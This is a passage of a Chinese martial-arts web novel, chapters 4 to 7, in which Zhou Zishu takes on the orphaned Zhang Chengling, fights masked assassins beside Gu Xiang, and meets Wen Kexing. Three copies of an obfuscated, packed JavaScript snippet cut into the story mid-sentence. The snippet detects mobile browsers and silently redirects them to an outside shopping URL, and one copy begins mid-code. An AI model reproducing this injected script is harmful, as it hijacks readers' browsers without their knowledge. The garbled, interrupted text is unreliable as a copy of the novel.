4. 第四章 义士 黑衣人和紫衣少女很快斗在一处,周子舒旁观者清地看着,这两人的功夫路数是不大一样,狠辣缺德程度却不相上下,不像所谓名门正派里出来的。 走了不过十四五招,那黑衣人忽然就着少女的一掌往后虚晃一下,随即一脚踢向她膻中穴,少女侧身躲开,轻叱一声,并指做掌抬手下劈,分明是要当场将他膝盖骨废去,岂料那黑衣人裤子上忽然有什么东西响了一声,小腿上竟弹出一个机簧,一根断箭迸出来,直取少女下颌。 少女功夫不错,似是要比那黑衣人高出一筹,却没料到他还有这么贱的一着,吓了一跳,再想躲,便已经来不及了,周子舒扣在手心的小石子终于出手,正弹在箭尖上,箭尖险险地擦着她的鬓角过去。 那少女经了这般风险,竟全不似普通人似的知道后怕,反倒恼羞成怒起来,片刻都没犹豫,下劈的手翻作爪,一把抓住黑衣人的腿骨,一折一扣,黑衣人惨叫一声,竟生生被她拗断了腿骨,她还不罢休,青葱一样的小手伸出来,掌中竟带了蓝光,狠狠地拍在黑衣人胸口上,黑衣人往后飞出去,一条断腿蜷着,脸上迅速泛起了紫灰色,瞠目欲裂地指着那少女道:“你是紫……紫……” “紫”什么他没说完,便两眼一翻去见了阎王。 一边的老妇见这漂漂亮亮的姑娘竟然出手这样狠,吓得没了动静。 倒是那少年,看着憨憨实实的,却先一步反应过来,扑到老渔樵身边,急急地问道:“李伯伯,你怎么样了?你……” 老渔樵好像还有口气在,费力地伸手抓住了少年的衣袖,那少年忙小心地将他拖起来,抱在怀里,紫衣少女见状,也凑过来,伸手翻了翻老渔樵的眼皮,皱皱眉,嘴里直白地说道:“是三更断肠散,再加上流了这么多血,我看他没救了,你节哀吧。” 少年一把拍开她的手,瞪着她大声道:“你胡说什么?” 紫衣少女眉头一皱,俊俏的笑脸上又泛起杀意,想起了什么似的,忍了忍,将那杀意强行压了下去,站起来双臂抱在胸前,事不关己地冷笑道:“不识好人心的狗崽子。” 老渔樵发浊的目光在她身上停留了片刻,又掠过,转了一圈,一直落到佛像脚下、头发上还斜插着两根稻草、形象可笑的周子舒身上,对着他的方向张张嘴。 所有人就都随着他的目光望向了周子舒,那少女“哎呀”一声,笑道:“我还道是哪位高人帮了我一回呢,没想到是你,我请你喝酒,你替我打架,正好咱俩谁也不欠谁了。” 她这话说得十分得便宜卖乖,不过鉴于她是个漂亮姑娘,周子舒决定不跟她一般计较,便笑了笑,凑到走到老渔樵旁边蹲下:“老兄,你叫我呀。” 老渔樵极费力地将手伸进怀里,在场其他四个人八只眼睛都等着看他掏出什么,半晌,老渔樵把拳头伸出来,递到周子舒面前,挣扎地看着他。周子舒犹豫了一下,伸手去接,只见亮光一闪,一锭碎银子就躺在他手心。 老渔樵开口道:“我……把银子还给你,白让你坐一回船,你替我……替我……” 周子舒还没听完替他干什么,便啼笑皆非,摇摇头要站起身来,谁知老渔樵伸出手,死死地攥住他的手腕:“替我……将这孩子送到太湖赵家庄……” 这位可不是漂亮姑娘,于是周子舒叹了口气,说道:“我说这位老兄……” 老渔樵截口打断他:“滴水……之恩……当、当……涌泉相报……” 周子舒抬眼,忧郁地望向这荒野破庙的门外,那四下笼罩的夜色,心里琢磨着是不是应该换张脸,现在这张脸面,难道是这面黄肌瘦不够,有那么像冤大头么? 老渔樵不知是不是回光返照,抓着他的那只手力气越来越大,气息浅浅地仿佛就在喉咙里徘徊,说话的时候带着倒气的音,颤颤巍巍的:“你就当积德吧,积德吧!还有后辈儿孙呢……就算断子……绝孙,还有下辈……下辈子呢。” 这话如同一道闪电一样,狠狠地劈在了周子舒心上,胸口上的七窍三秋钉好像又疼了起来,像是要钻到他肉里一样——还有下辈子呢,这辈子造过那么多孽,三年后一死了之,纵然一了百了,可……还有下辈子呢。 半晌,周子舒叹了口气,将那颗碎银子轻轻抛弃,又接住,缓缓地将其收入怀中。 老渔樵已经浑浊的眼睛就亮了起来,嘴唇哆嗦了几下,没发出声音来,随后眼中的微末光芒慢慢地暗淡下去,抓着周子舒的手再也无力为继,软绵绵地垂下来,嘴里兀自在喋喋不休地说着什么。 周子舒慢慢地将耳朵贴到他嘴边,只听他断断续续地道:“你要……你要做不到……你要……我……下、下去……也要操、操……你祖宗十八辈……” 周子舒直起腰来,简直无话可说,然后老渔樵头一歪,没气了,少年惊天动地地嚎哭起来。 那老妇人像是个老妈子之类的,也是个没主意的,六神无主地跟着在一边抹眼泪,周子舒便自动地和那紫衣少女站在一边。紫衣少女一双大大眼睛骨碌一转,轻声问道:“我家主人说你厉害,我还没瞧出来,你是哪门哪派的?叫什么名儿?” 周子舒便咬着腮帮子文绉绉地道:“不才周……周絮,无门无派,不过孤魂野鬼一条,浪迹江湖罢了,还未请教姑娘如何称呼?” 少女上下打量了他一番,摇头道:“若不看你那张痨病鬼似的脸,这说话的气派,倒还真像那么回事似的,我叫做顾湘。” 她未曾听说过江湖上有这一号姓周名絮的人物,再者萍水相逢,也知道没那么多实话,便不当真,也不在意,上前两步,拍拍那少年的肩膀说道:“我说,人都死了,你差不多把他安葬了吧,还有人追你们没有?” 少年还记恨着刚刚她口无遮拦地出言不逊,轻哼了一声,瞪了她一眼。眼下他一腔悲愤之意无从发泄,面前还有这么个没谱没调的臭丫头,心里便忍不住把火气都暗暗撒在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450094|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身上,好像人是她害死的似的。 顾湘好看的眉头一皱,她功夫虽高,毕竟年纪也不算大,本来就有点邪里邪气的,哪受得了这少年一而再再而三地无辜迁怒,抬掌便要打他,猝不及防地,却被旁边的周子舒一把抓住手腕。 顾湘只觉一只冰凉的手轻轻地黏住自己的手腕,并不觉得疼,也并不觉得那人用了多大的力气,偏偏就是抬起来的手放不下去,也甩不开,便忍不住讶异地看了一眼这个面黄肌瘦、痨病鬼似的男人,心道:“这么个东西,主人高看他一眼,竟也是有些本事的,看不出他深浅,若真动手,只怕我是讨不到便宜的。” 她心下转念,见机极快,知道自己的斤两,便从善如流地将手收回来,抿抿嘴,看着周子舒道:“卖你这面子就是了。” 然后又转向那少年,骂道,“小兔崽子你看清楚,姑奶奶只是路过,瞧你们可怜顺便搭救,别跟姑奶奶我杀了你们全家似的,但凡你有点尿性,也该找你那仇人报仇去。瞅你那熊样,除了抱着个死人流马尿,也就欺负姑奶奶脾性好,容忍你,好了不起呢!” 这丫头人是机灵,可说话是真不好听。 周子舒无奈,才要劝慰两句,却不料,那少年闻言竟怔了半晌,忽然转过身来,用力将眼泪擦干净,跪在地上,“砰砰”有声地给顾湘磕了两个头,嘴里小声道:“这位姑娘教训得是,得罪了。” 他牙关咬得紧紧的,竟将那少年的面容绷出一个有些锋利的线条,顾湘反而愣了,往后退了小半步,眨巴着一双杏核似的大眼睛:“我……我可没说让你给我磕头,你、你还是赶紧起来吧。” 周子舒便微微弯下腰去,轻轻一托,那少年便不知怎么的,被他托了起来,周子舒说道:“先将这位……李兄安葬了吧,好歹我受他之托,送你们一程,回头若是不急着赶路,便在此凑合一宿,也和我说说怎么回事。” 少年低低地应了,周子舒帮着他在荒庙后边找了块地方,将老渔樵安葬了下去,顾湘一直在一边看着,末了大概也有所感触,跑出去削了一截木头进来,从腰间拔下一把匕首,三两下削了一块简易的墓碑,又问道:“这个人叫什么名?” 那少年想了想,竟摇摇头,道:“他只说他姓李,受过我爹的恩,便拼死救了我们出来,我叫他李伯伯……却连他全名都说不出。” 周子舒暗叹了口气,江湖中人,可不就是有恩的报恩,有仇的报仇么?留不留名,又有什么关系呢? 顾湘便埋下头,在那小木牌上一笔一划地刻下“义士李大伯”五个字,刻完自己端详了一下,大概觉得挺满意,便拿给周子舒道:“你看看,好不好?” 周子舒接过来一看,那“伯”字上面竟然还少了一撇,心里觉得有些悲凉,又有些啼笑皆非,便用手指将那一笔给她填上,插在了这无比简易的荒墓上。 少年跪下,连磕三个响头,努力憋住眼泪,然后挺直腰板,站了起来。 5. 第五章 恶鬼 “我姓张,叫做张成岭。”少年坐下来,一张圆脸上黑黢黢的什么颜色都有,然而纵然一身衣服已经被撕扯得破破烂烂,还是能看清楚那锦缎的底色,不是平民百姓家穿得起的,“周……” 他停顿下来,不知该如何称呼这个叫花子模样的落拓男人。 “叫叔就行。”周子舒厚颜无耻地道。 张成岭挤出一个笑容,不大成功,又低下头去,他这么一低头,目光所及之处是布满灰尘和茅草的荒庙地面,心里茫然得很,有一瞬间不知今夕何夕,这一宿变故太大,导致他的心智还没能跟上事态的进展。 顾湘嘀咕了一句:“张成岭?好像有点耳熟。” 周子舒便问道:“你爹可是南河庄主张大侠?” 顾湘一愣,脱口道:“你是张玉森的儿子?” 脸上难以置信的表情一点不带遮掩的,赤/裸裸地表达了“张玉森怎么会有你这么个废物儿子”的疑惑。 张成岭显然是瞥见了她的表情,将头埋得更低了,一双手紧握成拳,缩在身体的两侧。 周子舒忙打断顾湘那杀伤力极大的精神攻击,他已经发现这姑娘别人不爱听什么偏说什么的本领了,便干咳一声道:“我竟没瞧出来,失敬失敬。” 顾湘噼里啪啦倒豆子似的问道:“你爹似是有些名气吧……我们前日到的,就已经听说过了,据说年轻时候很有点本事,这几年家大业大了,便半隐退似的定居在这,没掺和过什么事,庄子里还住了不少武功不错的清客,也没人想去惹他们的麻烦。这这样的老子,什么人大半夜追杀他儿子?” 她口气里有种事不干己的轻慢,一边的老妇便不满起来,说道:“我家老爷乃是一等一的大善人、大侠客,宅心仁厚,仗义极了,有人遇上困顿来寻他,不管认识的不认识的,都仗义疏财出手相助……” 顾湘嗤笑一声,阴阳怪气地道:“行啦大娘,咱们都知道这小子有个有能耐的好老子啦,大侠大英雄能怎么的,不照样大半夜被人追着砍……” 那张玉森年方五十,说一声德高望重,也算名至实归,早年娶妻生子便鲜少在江湖上活动了,但若是有个武林盛典什么的,一般还是要请他过去,以示敬重的。周子舒觉得毕竟死者为大,这姑娘可能无心,可也太不尊重了些,便截口打断她,问道:“方才追杀你们的那个,是什么人?” 张成岭沉默了片刻,低声道:“是吊死鬼薛方。” “你说谁?” “你说谁?” 周子舒和顾湘几乎异口同声,周子舒是眉头皱起来,顾湘则一脸古怪的惊诧。 张成岭一字一顿地道:“是吊死鬼薛方,我亲耳听见别人这么叫他的……” 他忽然深吸一口气,好像想起了什么,明白过来什么一样,整个晚上的鲜血,烟火,惨叫,都浮现在眼前,他颤抖起来,脸色青白,浑身抽搐,竟连话都说不出了。 顾湘吓了一跳,指着他道:“他这别是羊角风吧?” 周子舒脸色凝重地扶住张成岭,伸手在他睡穴上拂过,那少年就软到在他怀里,小心得将他放在一边,周子舒才叹道:“这是才反应过来出了什么事,心智受打击太重所致,先叫他睡上一觉吧。” 他转头去问那六神无主的老妇人:“大娘,可是张家遭了什么人暗算么?” 那老妇人瞅着张成岭那样子,又没了主意,鼻涕一把眼泪一把地颠三倒四半晌,才算把事情说明白——这天半夜的时候,张家后院突然起火,然后一群不知道从何而来的黑衣人,好像恶鬼似的从天而降。 最可怕的是,那些平日里有点风吹草动都能惊动的“高手”们竟没有一个能起来,都不知何时着了道儿。 只有那老李,是个古怪人,五年前到了苏州河边上,做些摆渡的小活计,一直也暗暗保着张家,却不愿意到庄里来——按他的说法,吃了张家的饭,便是被人养着的清客打手,他不愿意做这个,他是来报恩的。 也亏得有这么个怪胎,才勉强给老张家留下这么一条血脉。 半晌,周子舒才叹道:“那位李兄,当真是风尘中的异人。”他又转向老妇人,这老太婆只是个粗使的老妈子,什么也不懂,脑子里一坨浆糊,只会陪着掉眼泪,“大娘还有什么亲戚么?” 老妇点点头道:“我城南有个侄子。” 周子舒便从怀里掏出一锭金元宝,交给她道:“您拿着这个,自谋出路吧,我看您跟着张家小少爷到了这地方,也算尽了忠了,也这把年纪了,也别跟着风餐露宿了。” 老妇人接了银子,下意识地拿牙咬了一下,然后又反应过来,有些不好意思地笑了笑,也没眼泪了,口气也轻快起来,说道:“是呢,老奴这么大岁数了,也是拖累少爷。” 她拿了钱,简直一刻都不想在这满是茅草死人的地方呆着,便说要离开,想她一个烧火干粗活的,也不会有人怎么样她,周子舒便没什么表示,看着她千恩万谢地走了。 到了午夜时分,周子舒只觉胸口像被小针刺了一下似的,便知道那七窍三秋钉又作怪了,那种疼法不是皮肉的撕裂之痛,也不是内伤的钝痛,而像是有人拿着小刀子顺着他浑身的经脉一寸一寸地割下来一样。 好在这一年多他已经习惯了,便若无其事地也未曾显露出来,他带着人皮面具,顾湘也看不出他脸色。 又想起她提起张玉森时候的漫不经心,以及那神龙见首不见尾的主人,周子舒勉强自己分散着注意力,问道:“今日酒楼上那位兄台么,没和你一起么?” 顾湘一怔,先是问道:“你怎么知道他和我一起的?”随后又点头道,“是了,你听见我们说话了——我说我问你那问题的时候,你怎么和我家主人说得一样呢。” 她撇撇嘴,对这种作弊行径十分不屑。 周子舒笑道:“是,你家主人也在这里么?” 顾湘坐在香案上,两条腿碰不到地面,一荡一荡的,歪着头,看起来十分天真可爱,见问,眼皮微微垂下,耸耸肩膀:“会他老相好去了。” 周子舒只道那灰衣人将这么个美貌姑娘待在身边,以为她是侍妾之类,便疑惑地看看她。 顾湘皱皱鼻子,瞪了他一眼,骂道:“你看我做什么?他去睡男人,难不成让姑奶奶在窗外守着听响儿?” 周子舒干咳一声,也有些尴尬,蹭蹭鼻子:“姑娘家家的……” 顾湘像个小兽似的冲他呲呲牙,回头又想起了什么似的,用脚尖拨了一下人事不知昏天黑地的少年张成岭:“他说的话,你相信么?那个黑衣人是吊死鬼?” 周子舒犹豫了一下:“如果……他的意思是青竹岭、恶鬼众的吊死鬼……” 顾湘略带讥讽地看了他一眼:“你知道得倒多,这世上还有几只吊死鬼?” 周子舒摇摇头,才想说话,胸口的钝痛让他的话音停顿了一下,只能做出深思的样子,半晌,才缓过来道:“传说风崖山、青竹岭有个山谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450095|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人称鬼谷,近些年来江湖中罪大恶极者,寻求庇护者,走投无路了,便去鬼谷,一入鬼谷,不复为人,尘间恩怨便尽了,若能在鬼谷活下来,也算九死一生。而关于鬼谷的传说太过可怖,仇家便也不再计较。我听说那吊死鬼薛方当年是个臭名昭著的采花贼,身上背了二十六条年轻男女的人命,其中还有峨眉掌门的关门弟子,被六大门派联手追杀,不得已躲入了青竹岭鬼谷。” 顾湘眨眨眼:“那你说,是不是那个薛方?” 周子舒笑道:“那薛方成名三十年,乃是穷凶极恶之徒,岂能被你这么个小姑娘三两下打发了?” 顾湘先是要发作,随后想了想,觉得也有道理,便点头道:“也是,吊死鬼要真让我就这么宰了,那也是我家祖坟上冒青烟了——可是我也没爹没娘,祖坟也不知道在哪,说不定压根就没有,青烟也一定是没有的了,那他肯定不是吊死鬼。” 周子舒不明白冒青烟和吊死鬼是怎么被她联系到一起的,看着她那洋洋得意仿佛想明白了什么的样子,也没好意思打击她,身上疼得厉害了,便默不作声,靠在一边闭目养神,熬着等天亮。 那七窍三秋钉每日后半夜必然发作,所以他总是早早便睡,到子时好养足精神,熬过半宿,不想这日被搅了,后半夜再睡不着了,只得咬着牙默不作声地挨着,一直到东方微微泛了白,才慢慢地缓解下来,周子舒觉得周身已经有些麻木了。 他稍作调息了一下,忽然,本来靠在佛龛上耷拉着脑袋打盹的顾湘一下子惊醒过来,杏核眼转了一圈,短促地道:“有人。” 周子舒皱皱眉,自然也听见了,立刻想要站起身来,竟踉跄了一下没站起来,一偏头,见顾湘正惊奇地望着他,只得一边缓缓地扶着香案站直,一边低声道:“腿坐麻了。” 这理由太烂了,于是顾湘的表情更惊奇了。 周子舒每日黎明时分差不多是最虚弱的时候,方才短短的调息没能让他缓和过来,也不大愿意和人交手,便低声道:“把人藏好,躲一躲。” “躲?往哪躲?”顾湘瞪着一双无知的大大眼睛望着他。 周子舒一时无力。 再要有动作,已经来不及了,一群蒙面人训练有素地破门而入,一眼见了昏迷不醒地张成岭,二话不说,便气势汹汹地扑上来,周子舒人仍靠在香案上,眼看着一个蒙面人直奔主题地横刀去劈那少年,也未看清他如何动作,人影一闪,那只和脸上人皮面具同样枯瘦的手指便掐在了蒙面人脖子上。 蒙面人连声惨叫都没来得及发出来,周身抽动了一下,便没气了。 他这狠极的一手还真起到了震慑作用,所有的蒙面人都不禁脚步一顿,戒备地打量着这个仿佛站都站不稳的病夫。 顾湘偷偷吐吐舌头,从香案上跳下来,站到周子舒身后。 周子舒拿眼一扫也知道这些人只是打扮得吓人,单看这般谨慎小心,却必定不是死士刺客——若是以前天窗的刺客,别说是死一个同伴,便是自己的脖子捏在别人手里,也要毫不犹豫地奔向目标。也肯定不是那传说中的恶鬼众,恶鬼们各自为政,不可能像这些人这样整齐划一,看来是有意针对张家的了。 他慢条斯理地整整袖子,好像那身破衣烂衫还是当年滚着银边的长袍似的,动作做了一半,他自己也觉得不合适,便停下来,径自笑了笑,说道:“各位,一大清早的,连个招呼都不打,就这么扑向人家手无寸铁的一个孩子,有失身份吧?” 6. 第六章 美人 在场的人却没有一个言声,彼此之间飞快地用眼神交流一番,便不再管张成岭,慢慢地绕成了一个圈子,将顾湘和周子舒两人包围其中。 顾湘低叹口气道:“流年不利,三百年不做件好事,一出手就惹得一身麻烦。周兄,我一个柔弱女子,没见过这么大的阵仗,心里可害怕了,需要你保护。” 最后那句简直是语不惊人死不休,周子舒一口气险些没提上来,用一种十分糟心的表情看了那脸不红心不跳的顾湘一眼。 顾湘用一种十分幽怨的小眼神跟他对视。 蒙面人们显然觉得他们两人这样各怀鬼胎的含情脉脉有些不合时宜,不知是谁打了个呼哨,为首一个率先发难,后边的人跟上,竟隐隐构成了一个网似的阵型,将两人生生压在了里面。 顾湘这才正色,嘴里“咦”了一声,好奇心起,也不装柔弱了,也不管周子舒,伸手掏出她那把小匕首,便迎了上去。 甫一交手,才知这阵型厉害,她原本对自己功夫有些信心,对方一十四个人,每一个拿出来,说不定都不是她对手,可这严丝合缝地压迫下来,竟好像四面八方伸出无数只手无数只脚似的,惊涛骇浪一般,压得她情不自禁地边打边退,那阵型也跟着她收缩,直要逼得她退无可退。 顾湘暗自心惊,已经退到周子舒身边,两人背靠而立,周子舒目光沉下来,眨都不眨地看着他们,低声对顾湘道:“我竟托大了。” 顾湘有些应接不暇,额上微微见汗,问道:“这是个……什么阵?” 周子舒道:“我未曾见过,只听说有种阵法,十四人组成,名为八荒六合阵,生生不息,无穷无止,配合得当,每个人的微许破绽都能刚好被旁人补上,天衣无缝一样……” 顾湘惊呼一声,周子舒抬手一架,竟是赤手空拳地用血肉之躯撞上压下来的刀刃,生生地将那下劈的一刀打偏了去。 顾湘忙问道:“那怎么办?” 周子舒没回答,目光一凝,忽然飞身而起,一脚踏上香案,那破旧得积了一层灰尘的香案竟似全不着力一样,晃都没晃动一下,他人已再借力腾空而起,立刻有三个人同他一起跃起,刀光之间封住他所有去路,却不料周子舒不进反退,身如游鱼,穿花绕树,眨眼间竟转到了那佛像的侧面。 随后不见他如何用力,轻叱一声,伸手一推,那石头佛像竟被他一掌之力推了出去,周子舒口中念了一句:“我佛慈悲,救弟子一回。” 那石佛也不知多重,夹杂着劲风扑面而来,顾湘也吓了一跳,迅速弯腰闪开,只觉那风擦着她头皮而过,那劫杀周子舒的三人身在空中,没想到还有这样快的身法,无从借力更无从躲避,只得一齐尽力去挡,那如何挡得住,便被佛像给扑了出去,密不透风的阵型中徒然撕开了一道口子。 顾湘“嘿嘿”一笑:“这个有趣。” 动作却不慢,一抬手,电光石火间袖中箭出手,她对面的人首当其冲,正中面门,那蒙面人声音都没来得及发一声,仰面倒了下去。 剩下的人再不成气候,顾湘杀性起了,不管不顾地战做一团。 周子舒方才那一下却已经耗尽了本就没来得及恢复的内息,一时手足有些麻痹,他便不再逞强,老神在在地在香案上坐定。 过了好一会顾湘才反应过来,百忙之中忍不住回头骂道:“周絮你干什么呢?” 周子舒慢悠悠地说道:“顾妹子,我一个柔弱叫花子,没见过这阵仗,心里可害怕了,需要你保护。” 只把顾湘气得手一抖,将一个蒙面人的胸口刺了个对穿,匕首被肋骨卡住,竟抽不回来了。 顾湘身形灵巧,却不耐久战,这回失了兵刃,便有些慌乱,连退三步,勉励招架,周子舒缓过一口气来,却不急着出手,笑眯眯地看着他们打,捡起一堆小石子,握在手里把玩着,然后突然弹出一颗,正中一个打算偷袭的蒙面人的脑门。 一边开口指点道:“不好不好,丫头你没章法。” 出手如电,弹出一颗石子,正打中一人环跳穴,那人下盘不稳,登时往前扑去,正好扑到顾湘脚下,顾湘下意识地一抬脚,绣鞋上亮光一闪,弹出一把短刀,刺入那人喉头,只听周子舒悠然道:“下盘乃是根基,行而无根,动而无着,怎不失手?” 顾湘乃是极聪明之人,一弯腰闪过一刀,横出一脚正踢到对方腿弯,那人往前一错身,顾湘便劈手扣住他脉门,将长刀夺过,一掌拍向他百会穴,送他见了阎王。 周子舒又弹出一颗石子,正中一人身侧肩井大穴,那人正往前扑,忽然受了这一下,竟只觉半身麻痹,再不能行动,便依着惯性扑倒在地,顾湘便听这遭瘟的叫花子又半真半假地叹道:“不好不好,阵型已散,还急而冒进,真是顾头不顾腚。” 顾湘闻言立刻踩了个十分灵巧的莲花步,那扑过来的蒙面人一腔刚劲之力被她闪过,下意识横刀变招,却正好将侧身破绽送到顾湘手里,顺手又解决两个。 地上尸体不多时便横七竖八地摆了一堆,剩下几个一见事情不妙,相互打了个眼色,便往外退去,周子舒一皱眉,心道这些人麻烦得很,他虽然答应了护送那少年去什么太湖赵家,也不愿意一路上应付这些追杀,真叫他们跑了,恐怕路上还有得应付。 想来这些人暗算于人,灭人满门赶尽杀绝,还要这样藏头露尾,也不是什么好东西。 顾湘只觉眼前一花,一道人影闪过,那方才坐在香案上的男人如一片轻飘飘的柳絮,突然落在庙门口,首当其冲的一个黑衣人猝不及防,当下一侧身要用肩膀撞开他,却听“咔吧”一声,他整条肩膀竟被卸下来了,周子舒一把攥住他脖颈,只用指力,便将他脖子生生扭断,用脚尖捡起落在一边的刀。 青黄的脸皮上浮起一个鬼气森森的笑容—— 顾湘只觉得自己都没来得及反应过来,那几个往门口冲的蒙面人便全变成了尸体,忍不住眨眨眼,心里诧异——原以为瞧这人说话做派,像那些个夸夸其谈的大门派出身,不料下手灭口,竟这样利落狠毒,便有些拿不准他是个什么人了。 周子舒却不像她想象得那么威风,他腿还微软着,落地之后尚未停歇,杀了人这一停下来,便有些站不住,又不愿意被顾湘看出来,便顺着力道往后倒了几步,看着身形飘逸,其实只是狼狈地在寻个借力的法子撑住。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450096|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 忽然,背后伸出一双手,稳稳地扶住他,周子舒一激灵,竟不知这人何时靠近的,寒毛登时竖了起来,好在那人只是扶了他一把,没别的动作。 顾湘的眼睛却亮起来,叫道:“主人!” 周子舒这才微舒口气,站定以后转过身来。扶了他一把的那人,正是那人酒楼上的灰衣人,近了看,年纪也不过二十八九,眉目倒说得上俊朗,只是那双眼直勾勾地盯着人看的时候,总叫人不那么舒服。 眼下,他正盯着周子舒,目光好像要钻到周子舒的脸皮底下似的,十分放肆无礼。 周子舒便干咳一声道:“多谢这位……” “温,温客行。”灰衣人说道,随后脸上似乎带了一点疑惑之色,目光落在周子舒的脖子和手上,疑惑之色似乎更重了些。 虽不知这人在看什么,周子舒倒是泰然,他自己的手艺自己清楚,轻易被人看出来了,早十年前就已经身首异处了,便淡定地道:“哦,多谢温兄。” 灰衣人看了半天,也不知道在看什么,半晌,才移开目光,点点头道:“不必。” 说完,他便大喇喇地走进这破庙,顾湘已经快手快脚地将几具尸体踹到一边去,用茅草给他铺了个干净地方坐,然后这位温客行又看了周子舒一眼,嫌不够似的,还特意解释道:“我不是有意的。” 周子舒就明白顾湘那股子不讨人喜欢的劲儿是师承何处了,径自坐到一边去调息。 足过了有一个时辰还多,他才睁开眼,却见那温客行靠在墙上,一条腿蜷起来,还在歪着头打量自己,便忍不住道:“我脸上有什么东西不成,叫这位温兄足足研究了这么大半天?” 温客行面无表情地道:“你易容过么?” 周子舒心里一紧,面上却毫不在意地反问道:“什么?” 温客行却不理会,只自语道:“奇怪……真是奇怪,我竟看不出你易过容,若说你没动过手脚,唔……” 他伸手磨蹭磨蹭下巴,颇为不解地道:“我这些年看人从未看错过,一眼见了你背后胡蝶骨,分明应该是个美人啊。” 周子舒登时无言以对。 温客行点点头,自顾自地道:“我看人从未出过错,你一定易容了。” 周子舒继续无言以对。 温客行锲而不舍地盯着他的脸使劲看,看了半天,又放弃似的把头往后一仰:“可我竟看不出破绽,这些江湖小把戏,得要多大的本事,才能叫我看不出破绽?只怕还没生出来吧?不可能不可能……” 顾湘凉飕飕地说道:“主人,你上回还指着一个杀猪屠夫的背影,断定是美人呢。” 温客行轻声细语地道:“那人虽是个屠夫,单是那双水光潋滟、顾盼生姿的眼,便能称他一声美人。英雄尚且不论出处,屠夫怎么了?你懂什么,小孩子家不知美丑。” 顾湘叹道:“水光潋滟、顾盼生姿?不就是打了个哈欠没揩干净眼泪么?更何况还有那宽鼻阔嘴肥头大耳……” 温客行斩钉截铁地道:“阿湘,你眼神不好。” 周子舒已经慢吞吞地爬起来,径自去查看那少年张成岭的情况了。 7. 第七章 上路 周子舒点了那少年张成岭的睡穴,只是怕他一时心里转不过弯来,让他冷静一下,并未用多大的力道,所以那古怪的温客行进来之后,又过了不大一会儿,便醒过来了。 他睁开眼,先是呆呆地望着破庙的屋顶愣了一会,好像灵魂出窍似的,在昨天之前,他还是千人捧万人宠的张家大少爷——纵然教他读书的先生摇头说此子顽劣,是粪土之墙不可污,纵然教他习武的师父当面违心点个头,心里老觉得他烂泥糊不上墙——他的日子还是过得很快乐。 衣来张手,饭来张口,婆娘老妈子一屋子跟在后边伺候,书读得不怎么样,却没缺过夜来添香红袖,一天到晚有小厮跟在身后奉承着,张成岭虽然也知道自己怎么回事,却仍不妨碍他在这样的恭维里偶尔享受一下飘飘然的感觉。这么在蜜罐里长到十四五。 可一夜之间,什么都没了。 家没了,爹娘没了,亲人朋友都没了,他的世界突然颠倒了个个儿,惶惶然而不知所措极了。 周子舒磕牙打屁还有两手,却不大会安慰人,便默然坐在一边。张成岭愣了一会神,两只眼睛里就默无声息地淌出两行眼泪。 只听一边温客行问顾湘道:“那小东西是什么人?” 顾湘道:“听说是张玉森的儿子。” 温客行点点头,脸色平淡得很,好像张玉森三个字在他心里就是朵浮云,过了一会,才问道:“张家听说穷得什么都没就剩钱了,怎么张玉森的儿子变成这副德行了?是离家出走没带够银两,还是迷路找不回家了?” 顾湘低声道:“听说头天晚上张家被人暗算,灭了门,眼下估计也满城风雨的,主人你昨晚上出去鬼混得太投入,一准是没听说。” 温客行想了想,觉得有道理,于是点点头:“怪不得一地死人呢。” 他便又去打量周子舒,问顾湘道:“那他是做什么的?” 顾湘嗤笑道:“那叫花子自称名叫周絮,昨儿收了人家二钱银子,便把自己卖给那小子了,要送他去太湖。” 温客行微微睁大了眼睛,表情严肃地思量了一会,对顾湘道:“那他肯定是个美人,错不了,世上只有美人才能这么笨。” 顾湘习以为常地装没听见,一边周子舒摸不清此人深浅,于是也效仿之。 他低头看了一眼仍在那默无声息地掉眼泪的张成岭,有些烦,心道这兔崽子还没完没了了是怎么的,便用脚尖轻轻地踹踹他,干咳一声道:“张小少爷,若你休息好了,便起来收拾收拾吧,此地不宜久留,后边说不定有多少追兵等着把你斩草除根呢,周某受人之托,起码得全胳膊全腿地把你送到太湖。” 张成岭眼珠缓缓地转了一圈,又凝住了,双手捂住脸,将自己蜷成了个大虾米,嚎啕大哭起来。他一哭,周子舒便脑仁疼,心说要骂他两句吧,还总觉得于心不忍,当个孩子哄哄吧,他也不会,便沉默地坐了一会,然后忽然站起来,往门外走去。 他本意是去看看那尊被他一掌拍出去的佛像,总觉得才要积德,便出手亵渎了佛祖,不太好,想着找个什么法子把佛祖放回去才是,谁知张成岭以为他要走,竟打了个滚,飞快地爬起来往前扑去,一把抱住周子舒的腿,口中急道:“周叔,周叔,你别……你别走,我……我……” 